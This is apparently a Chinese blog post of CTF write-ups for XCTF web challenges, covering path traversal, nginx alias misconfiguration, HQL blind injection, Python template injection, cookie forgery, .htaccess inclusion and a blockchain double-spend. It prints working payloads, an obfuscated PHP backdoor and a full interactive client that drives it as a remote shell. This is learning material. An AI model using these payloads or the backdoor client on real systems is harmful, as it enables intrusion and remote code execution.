攻防世界7分~部分8分题

Web_php_wrong_nginx_config

进入页面发现是两个输入框
初步考虑是不是注入
在这里插入图片描述
发觉不论输入什么都是返回–>网站正在建设中
于是排除注入
拿出御剑
扫描到admin页面
然后抓包发觉存在isLogin=0(后面发觉全部的都有)–>初步想法肯定是要改这个参数的,只是不知道在那个页面中改具有意义
于是接着扫描
发觉robots.txt–>存在两个页面

在这里插入图片描述
于是均尝试一遍–>发觉在Hack.php中可绕过
在这里插入图片描述
然后点击发觉
管理中心处存在路径file=index状况类–>考虑可能是文件包含漏洞,即越权访问所有文件,且结合hint.php即考虑可能要构造读那个配置文件
在这里插入图片描述
于是尝试…/–>发觉被过滤掉
即利用…/进行绕过–>…/

file=....//....//....//....//etc/nginx/sites-enabled/site.conf&ext=

在这里插入图片描述

读取到这个–>即构造出的niginx的页面

代码如下

server {
    listen 8080; ## listen for ipv4; this line is default and implied
    listen [::]:8080; ## listen for ipv6

    root /var/www/html;
    index index.php index.html index.htm;
    port_in_redirect off;
    server_name _;

    # Make site accessible from http://localhost/
    #server_name localhost;

    # If block for setting the time for the logfile
    if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
       set $year $1;
       set $month $2;
       set $day $3;
    }
    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
    sendfile off;

        set $http_x_forwarded_for_filt $http_x_forwarded_for;
        if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
                set $http_x_forwarded_for_filt $1???;
        }

    # Add stdout logging

    access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
    error_log /var/log/nginx/error.log info;

    location / {
        # First attempt to serve request as file, then
        # as directory, then fall back to index.html
        try_files $uri $uri/ /index.php?q=$uri&$args;
        server_tokens off;
    }

    #error_page 404 /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page 500 502 503 504 /50x.html;
    location = /50x.html {
        root /usr/share/nginx/html;
    }
    location ~ \.php$ {
        try_files $uri $uri/ /index.php?q=$uri&$args;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param SCRIPT_NAME $fastcgi_script_name;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
    }

    location ~ /\. {
            log_not_found off;
            deny all;
    }
    location /web-img {
        alias /images/;
        autoindex on;
    }
    location ~* \.(ini|docx|pcapng|doc)$ {  
         deny all;  
    }  

    include /var/www/nginx[.]conf;
}

直接访问

/web-img#目录,发觉啥都没有

然后查了下大佬们的文档

发觉与Nginx中的alias用法有关–>即访问是从根目录中开始,location的路径会被丢弃
即需要web-img+…
web-img../
Nginx中的两个用法
即在这里重要的是–>即alias的用法

    location /web-img {
        alias /images/;
        autoindex on;
    }

在这里插入图片描述
然后读取到很多文件
找了下
找到
在这里插入图片描述
在这里插入图片描述
输出一个f后得到php的代码
利用php格式美化后整理如下

$kh="42f7";#即密钥
$kf="e9ac";#即密钥
function x($t,$k) {
	$c=strlen($k);
	$l=strlen($t);
	$o="";
	for ($i=0;$i<$l;) {
		for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
			$o.=$t {
				$i
			}
			^$k {
				$j
			}
			;
		}
	}
	return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
	$u=parse_url($rr);
	parse_str($u["query"],$q);
	$q=array_values($q);
	preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
	if($q&&$m) {
		@session_start();
		$s=&$_SESSION;
		$ss="substr";
		$sl="strtolower";
		$i=$m[1][0].$m[1][1];
		$h=$sl($ss(md5($i.$kh),0,3));
		$f=$sl($ss(md5($i.$kf),0,3));
		$p="";
		for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
		if(strpos($p,$h)===0) {
			$s[$i]="";
			$p=$ss($p,3);
		}
		if(array_key_exists($i,$s)) {
			$s[$i].=$p;
			$e=strpos($s[$i],$f);
			if($e) {
				$k=$kh.$kf;
				ob_start();
				@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
				$o=ob_get_contents();
				ob_end_clean();
				$d=base64_encode(x(gzcompress($o),$k));
				print("<$k>$d</$k>");
				@session_destroy();
			}
		}
	}
}

--->>>>然后再次查了下大佬的wp
在这里也可以利用–>
搜索正则表达式从而实现找到大佬的利用文章

preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);

发觉这玩意是个php的后门类的
相关混淆教程
利用方法–>更改url与密钥即可

# encoding: utf-8
# encoding: utf-8
# encoding: utf-8

from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

def choicePart(seq,amount):
    length = len(seq)
    if length == 0 or length < amount:
        print 'Error Input'
        return None
    result = []
    indexes = []
    count = 0
    while count < amount:
        i = randint(0,length-1)
        if not i in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result

def randBytesFlow(amount):
    result = ''
    for i in xrange(amount):
        result += chr(randint(0,255))
    return  result

def randAlpha(amount):
    result = ''
    for i in xrange(amount):
        result += choice(string.ascii_letters)
    return result

def loopXor(text,key):
    result = ''
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt<lenTxt and iKey<lenKey:
            result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
            iTxt += 1
            iKey += 1
    return result


def debugPrint(msg):
    if debugging:
        print msg

# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://220.249.52.133:40004/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
    acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
    # build junk data in referer
    query = []
    for i in xrange(max(indexes)+1+randint(0,2)):
        key = randAlpha(randint(3,6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
        query.append((key, value))
    debugPrint('Before insert payload:')
    debugPrint(query)
    debugPrint(urllib.urlencode(query))

    # encode payload
    payload = zlib.compress(cmd)
    payload = loopXor(payload,xorKey)
    payload = base64.urlsafe_b64encode(payload)
    payload = md5head + payload

    # cut payload, replace into referer
    cutIndex = randint(2,len(payload)-3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0],payloadPieces[iPiece])
        iPiece += 1
    referer = url + '?' + urllib.urlencode(query)
    debugPrint('After insert payload, referer is:')
    debugPrint(query)
    debugPrint(referer)

    # send request
    r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
    html = r.text
    debugPrint(html)

    # process response
    pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
    output = pattern.findall(html)
    if len(output) == 0:
        print 'Error,  no backdoor response'
        cmd = raw_input('phpshell > ')
        continue
    output = output[0]
    debugPrint(output)
    output = output.decode('base64')
    output = loopXor(output,xorKey)
    output = zlib.decompress(output)
    print output
    cmd = raw_input('phpshell > ')

运行后–>执行即可

在这里插入图片描述
总结:这题好难
涉及考点
①扫目录后台
②修改cookie值从而越权登录
③文件包含利用–>从而读取泄露文件
④Nginx文件的读取
⑤php混淆代码利用

love_math

进入看到源码

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

条件
①存在c这个参数
②长度小于80
③c的值在白名单中

又根据正则匹配来看–>感觉要从编码的方向绕

因为相对来说php有点弱项
暂时放下 后面专题突破

Zhuanxv

①基本的信息收集
获取到路径–>/list
在这里插入图片描述
试了一下注入–>发觉没有基础的注入点–>于是排除
但是最后发觉是存在注入点的,但需要文件进行绕
②在基本思路排除后发觉有个文件的路径有点奇怪
即在中有filename–>考虑是不是存在文件包含漏洞

在这里插入图片描述
③于是进行改路径–>构造任意文件读取
但是因为经验问题–>有点迷读取什么文件
看了下大佬们的wp
发觉对于任何的mvc框架都具备web.xml文件–>即配置文件
构造payload

http://220.249.52.133:46292/loadimage?fileName=../../WEB-INF/web.xml

打开后发觉–>即struts2文件目录
在这里插入图片描述

发觉struts2文件中核心文件

apps-存放了所有Struts2的示例项目
docs-存放了所有Struts2与XWork的文档
lib-存放了所有Struts2相关的JAR文件以及Struts2运行时所依赖的JAR文件
src-存放了所有Struts2的源码,以Maven所指定的项目结构目录存放
struts.xml–>即struts的配置文件(且常见在classes中)
在这里插入图片描述
打开后发觉一个文件

发觉一个与登录相关的类UserLoginAction
构造payload下载

http://220.249.52.133:46292/loadimage?fileName=../../WEB-INF/classes/com/cuitctf/action/UserLoginAction.class

jd反编译
获取到源码

  public boolean userCheck(User user) {
 List<User> userList = this.userService.loginCheck(user.getName(), user.getPassword());
 if (userList != null && userList.size() == 1) {
   return true;
 }
 addActionError("Username or password is Wrong, please check!");
 return false;
}

获取登录检查的payload的方法

../../WEB-INF/classes/applicationContext.xml

获取到UserDaoImpl.class
获取方法同上
即登录语句的过滤规则

 public List < User > loginCheck(String name, String password) {
        return getHibernateTemplate().find("from User where name ='" + name + "' and password = '" + password + "'");  
    }

于是就回到了常规的注入了

附上脚本

import requests
s=requests.session()

flag=''
for i in range(1,50):
    p=''
    for j in range(1,255):
  		payload="(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
  		url="http://220.249.52.133:46292/zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
  		r1=s.get(url)
  		if len(r1.text)>20000 and p!='':
  			flag+=p
  			print i,flag
  			break
  		p=chr(j)

在这里插入图片描述

总结:
这题综合性很强
考点:
①目录扫描获取到list文件
②对文件包含敏感且知道怎么用
③知道MVC框架常见的xml核心文件
④知道如何下载类与反编译
⑤sql盲注必须会

Confusion1

直接打开burp进行扫描
发觉存在模板注入
在这里插入图片描述
于是求来到了常规的模板注入里
且发觉是python的模板注入

常用的模板注入payload

{{''.__class__.__mro__[2].__subclasses__()}}
{{url_for.__globals__}}
{{config}}#即查看权限
{{''[request.args.a][request.args.b][2][request.args.c]()}}?a=__class__&b=__mro__&c=__subclasses__#request请求模板注入即使用request.args进行绕过

最终payload

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

wtf.sh-150

题目目的:
①掌握文件包含漏洞利用和了解bash web server
②掌握cookie伪造方法且对cookie值敏感
考察基础能力:
代码审计能力

打开题目后,在经过常规的后台扫描扫完,但是并没有发现什么后
查看源码发觉有一个这个参数状况
在这里插入图片描述
怀疑可能跟这个传递参数有关
构造

/post.wtf?post=../#即访问上一层的实现

发觉读取到了源码

搜索flag这个相关–>获取到与flag相关的源码
在这里插入图片描述
发觉里面有个username=admin
于是构造payload跑到users里面去
去获取用户的cookie值

/post.wtf?post=../users/

在这里插入图片描述
然后利用伪造cookie进行即可获得前半部分的flag

USERNAME=admin; TOKEN=uYpiNNf/X0/0xNfqmsuoKFEtRlQDwNbS2T6LdHDRWH5p3x4bL4sxN0RMg17KJhAmTMyr8Sem++fldP0scW7g3w==

注意username与token必须与之前上传的参数保持一值
在这里插入图片描述
获取到第一部分的flag

Flag: xctf{cb49256d1ab48803 

获取第二部分flag的方法
继续审之前的代码

max_page_include_depth=64
 2 
 3 page_include_depth=0
 4 
 5 function include_page {
 6 
 7     # include_page pathname
 8 
 9     local pathname=$1
10 
11     local cmd=
12 
13     [[ ${pathname(-4)} = '.wtf' ]];
14 
15     local can_execute=$;
16 
17     page_include_depth=$(($page_include_depth+1))
18 
19     if [[ $page_include_depth -lt $max_page_include_depth ]]
20 
21     then
22 
23         local line;
24 
25         while read -r line; do
26 
27             # check if we're in a script line or not ($ at the beginning implies script line)
28 
29             # also, our extension needs to be .wtf
30 
31             [[ $ = ${line01} && ${can_execute} = 0 ]];
32 
33             is_script=$;
34 
35 
36             # execute the line.
37 
38             if [[ $is_script = 0 ]]
39 
40             then
41 
42                 cmd+=$'n'${line#$};
43 
44             else
45 
46                 if [[ -n $cmd ]]
47 
48                 then
49 
50                     eval $cmd  log Error during execution of ${cmd};
51 
52                     cmd=
53 
54                 fi
55 
56                 echo $line
57 
58             fi
59 
60         done  ${pathname}
61 
62     else
63 
64         echo pMax include depth exceeded!
65         pfi
66 
67 }

这段代码表明–>服务器能解析并执行wtf文件(即如果还能够上传 wtf 文件并执行的话,就可以达到控制服务器的目的。)

function reply {
 2 
 3     local post_id=$1;
 4 
 5     local username=$2;
 6 
 7     local text=$3;
 8 
 9     local hashed=$(hash_username "${username}");
10 
11 
12     curr_id=$(for d in posts/${post_id}/*; do basename $d; done | sort -n | tail -n 1);
13 
14     next_reply_id=$(awk '{print $1+1}' <<< "${curr_id}");
15 
16     next_file=(posts/${post_id}/${next_reply_id});
17 
18     echo "${username}" > "${next_file}";
19 
20     echo "RE: $(nth_line 2 < "posts/${post_id}/1")" >> "${next_file}";
21 
22     echo "${text}" >> "${next_file}";
23 
24 
25     # add post this is in reply to to posts cache
26 
27     echo "${post_id}/${next_reply_id}" >> "users_lookup/${hashed}/posts";
28 
29 }

可评论实现路径穿越–>即写入后门

发觉可以对bash进行调用
即构造payload

wtf.sh

即可获得源码

在这里插入图片描述
不知道为什么一直写不进去后门
payload

reply.wtf?post=../user_lookup/sh.wtf%9

后面进行代访问user_lookup/sh.wtf

发觉在中的内容后
在构造路径与上面的同 进行读取即可获取到flag

总结
1.用户名字两种利用方法
即典型两种利用名字获取getshell的方法
①-->利用username用户中存在get类命令,从而实现可传值的思路进行构造命令执行
②-->利用上传信息或者其他类,进行构造bash通道,从而实现执行命令类
2.通道wtf构造bash的方法

blgdel

老规矩进行信息收集
在这里插入图片描述
扫描到一堆文件
看了一下config.txt文件–>发觉存在上传与搜索的配置功能
代码如下

<?php

class master
{
	private $path;
	private $name;
	
	function __construct()
	{
		
	}
	
	function stream_open($path)
	{
		if(!preg_match('/(.*)\/(.*)$/s',$path,$array,0,9))
			return 1;
		$a=$array[1];
		parse_str($array[2],$array);
		
		if(isset($array['path']))
		{
			$this->path=$array['path'];
		}
		else
			return 1;
		if(isset($array['name']))
		{
			$this->name=$array['name'];
		}
		else
			return 1;
		
		if($a==='upload')
		{
			return $this->upload($this->path,$this->name);
		}
		elseif($a==='search')
		{
			return $this->search($this->path,$this->name);
		}
		else 
			return 1;
	}
	function upload($path,$name)
	{
		if(!preg_match('/^uploads\/[a-z]{10}\/$/is',$path)||empty($_FILES[$name]['tmp_name']))
			return 1;
		
		$filename=$_FILES[$name]['name'];
		echo $filename;
		
		$file=file_get_contents($_FILES[$name]['tmp_name']);
		
		$file=str_replace('<','!',$file);
		$file=str_replace(urldecode('%03'),'!',$file);
		$file=str_replace('"','!',$file);
		$file=str_replace("'",'!',$file);
		$file=str_replace('.','!',$file);
		if(preg_match('/file:|http|pre|etc/is',$file))
		{
			echo 'illegalbbbbbb!';
			return 1;
		}
		
		file_put_contents($path.$filename,$file);
		file_put_contents($path.'user.jpg',$file);
		
		
		echo 'upload success!';
		return 1;
	}
	function search($path,$name)
	{
		if(!is_dir($path))
		{
			echo 'illegal!';
			return 1;
		}
		$files=scandir($path);
		echo '</br>';
		foreach($files as $k=>$v)
		{
			if(str_ireplace($name,'',$v)!==$v)
			{
				echo $v.'</br>';
			}
		}
		
		return 1;
	}
	
	function stream_eof()
	{
		return true;
	}
	function stream_read()
	{
		return '';
	}
	function stream_stat()
	{
		return '';
	}
	
}

stream_wrapper_unregister('php');
stream_wrapper_unregister('phar');
stream_wrapper_unregister('zip');
stream_wrapper_register('master','master');

?>

sql.txt中的内容
即数据库–>sshop
表–>users
字段–>id,username,mail,password,shopcar,point

CREATE DATABASE `sshop` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci;
USE `sshop`;
CREATE TABLE `sshop`.`users` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NULL DEFAULT NULL,
  `mail` varchar(255) NULL DEFAULT NULL,
  `password` varchar(255) NULL DEFAULT NULL,
  `point` varchar(255) NULL DEFAULT NULL,
  `shopcar` varchar(255) NULL DEFAULT NULL,
  PRIMARY KEY (`id`)
) DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci;

在这里插入图片描述

做到这里已经大致猜到了做这题的方法了
考虑注册一个账号且登录
但注册成功后发觉登录不了–>
①注册一个账号后,利用sql注入获取到账号和密码(可能性比较小),
②成功绕过实现上传文件(利用config.txt里面的内容进行绕开实现上传),获取getsehll权限
③获取flag

但是着实登录不上–>没办法,查看大佬们的wp
发觉着实是环境问题–>现在已经登录不进去了(有的时候环境会出问题-->即注册后不能登录
重新打开了几次环境
最后终于成功的登录上去了
然后在进行填了接近10次的推荐人后,终于将用户拥有了上传权限
在这里插入图片描述
上传一个一句话木马,发觉上传成功,心想应该没有那么简单
后面连接发觉确实存在问题–>查看config.txt中的upload发觉自动将文件内容中的<替换为了!
即意味从上传文件方式入手是不可能了
查看大佬们的wp
因为分析源码后发觉打开了master://协议
所以可以通过构造master协议用于搜索文件

php_value auto_append_file [filepath] #相当于文件包含,并在页面加载后自动运行
#.htaccess文件上传到/uploads/dlfunuijio/文件夹,所以.htaccess作用域只在/uploads/dlfunuijio/路径下

–>即通过上传内容为php_value auto_append_file master://search/path={}&name={}命令到.htaccess文件中且上传从而实现将上传漏洞变为–>上传+包含漏洞(即目录遍历漏洞)的方法

实现

#第一次上传到.htaccess的代码-->作用实现文件包含
php_value auto_append_file master://search/path=%2fhome%2f&name=flag
#随便上传一个php文件
#作用-->通过该php文件进行隐射出flag的内容
#第三次上传
php_value auto_append_file /home/hiahiahia_flag
#上传该文件到.htaccess进行读取flag即可

在这里插入图片描述
flag如下

cyberpeace{b6e8d3b0ae47bda921454ed93f25a934} 

Web_python_block_chain

考点:双花攻击

一脸懵逼的点进去
一脸懵逼的点出来(虽然猜到了跟这个地址类型有关,但是着实没有思)
在这里插入图片描述
在这里插入图片描述

然后去翻大佬的wp
发觉这是–>区块链的双花攻击

解题脚本–>改IP与address

# -*- encoding: utf-8 -*-
# written in python 2.7
import hashlib, json, rsa, uuid, os,requests,re

# 一堆变量常量

url_root="http://127.0.0.1:8004/"
url_create="http://127.0.0.1:8004/create_transaction"
url_flag="http://127.0.0.1:8004/flag"

s=requests.Session()
ddcoin = s.get(url=url_root)

prev_one=re.search(r"hash of genesis block: ([0-9a-f]{64})",ddcoin.content, flags=0).group(1)
bank_utox_id=re.search(r"\"input\": \[\"([0-9a-f\-]{36})",ddcoin.content, flags=0).group(1)
bank_signature=re.search(r"\"signature\": \[\"([0-9a-f]{96})",ddcoin.content, flags=0).group(1)

DIFFICULTY = int('00000' + 'f' * 59, 16)
EMPTY_HASH = '0'*64

bank_addr="8035b93fe9a77c9980187fe960c25c58b155e89197aff81397ffbf9839f8bd6230dcda2ce676196c52eb7d4db99b643d"
hacke_addr="8603657fab78f286cea3b21f03d4ba8533378eedbb3b9dcb44e92966e0a9ab73cd1e775908aa1d23c01e8286d6af84ed"
shop_addr="ab8fa2dbba011081385750c88cba4085d19d793a2a5b485366269378a3eeef9621fb792665b3a527bcde10b50bb8e567"

# 源码中的API

def hash(x):
    return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()

def hash_reducer(x, y):
    return hash(hash(x)+hash(y))

def hash_block(block):
    return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])

def hash_utxo(utxo):
    return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])

def hash_tx(tx):
    return reduce(hash_reducer, [
        reduce(hash_reducer, tx['input'], EMPTY_HASH),
        reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
    ])

def create_output_utxo(addr_to, amount):
    utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
    utxo['hash'] = hash_utxo(utxo)
    return utxo

def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
    tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo}  # 修改了签名
    tx['hash'] = hash_tx(tx)
    return tx

def create_block(prev_block_hash, nonce_str, transactions):
    if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
    nonce = str(nonce_str)
    if len(nonce) > 128: raise Exception('the nonce is too long')
    block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
    block['hash'] = hash_block(block)
    return block


# 构造的方法

def check_hash(prev,tx):
    for i in range(10000000):
        current_block=create_block(prev,str(i),tx)
        block_hash = int(current_block['hash'], 16)
        if block_hash<DIFFICULTY:
            print json.dumps(current_block)
            return current_block

def create_feak_one():
    utxo_first=create_output_utxo(shop_addr,1000000)
    tx_first=create_tx([bank_utox_id],[utxo_first])
    return check_hash(prev_one,[tx_first])

def create_empty_block(prev):
    return check_hash(prev,[])


# 攻击过程

a=create_feak_one()
print s.post(url=url_create,data=str(json.dumps(a))).content
b=create_empty_block(a['hash'])
print s.post(url=url_create,data=str(json.dumps(b))).content
c=create_empty_block(b['hash'])
print s.post(url=url_create,data=str(json.dumps(c))).content
d=create_empty_block(c['hash'])
print s.post(url=url_create,data=str(json.dumps(d))).content
e=create_empty_block(d['hash'])
print s.post(url=url_create,data=str(json.dumps(e))).content
print s.get(url=url_flag).content

区块链双花攻击概念:即在 UTXO(区块链)中的一笔钱,可以花两次
攻击方法:51% attack-->攻击者如果可以拥有超过全网50%的算力,就可以创造一条高度大于原始链的链,攻击者可以发送一个新的块到这条链上
原理:
①即通过区块链模式分块转钱后,构造出的区块链的主长度大于最开始的,因此区块链讲该链当作了主链–>即白花了1倍的钱
②因此要求算力:即一个人的算力最大,所以即形成一个比最长链长度大一的链

详细介绍双花攻击

暂时玩不了,后面在学习

回答: 对于攻防世界pwn新手题,其一个关键是要修改全局变量pwnme的内容。通过格式化字符串的方法,可以实现这个目标。格式化字符串的原理是利用输入的格式化字符串,修改内存的指定位置的值。具体的方法可以参考CTF-wiki上对格式化字符串的总结。另外,还可以利用栈溢出漏洞来实现攻击。栈溢出漏洞的原理是当输入的数据超过了栈的缓冲区大小时,会覆盖到相邻的内存区域,包括函数返回地址等重要信息。通过溢出覆盖system函数的参数为"/bin/sh",就可以获取到shell权限。在IDA32,可以通过查看字符串窗口,找到可以直接利用的字符串,比如system和/bin/sh。这样就可以猜测需要溢出覆盖system函数的参数,实现获取shell的目的。123 #### 引用[.reference_title] - *1* *2* [xctf攻防世界pwn基础题解(新手食用)](https://blog.csdn.net/lplp9822/article/details/89735167)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}} ] [.reference_item] - *3* [攻防世界 pwn 二进制漏洞简单题练习区 答题(1-10题解)](https://blog.csdn.net/qq_33957603/article/details/122450397)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}} ] [.reference_item] [ .reference_list ]
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值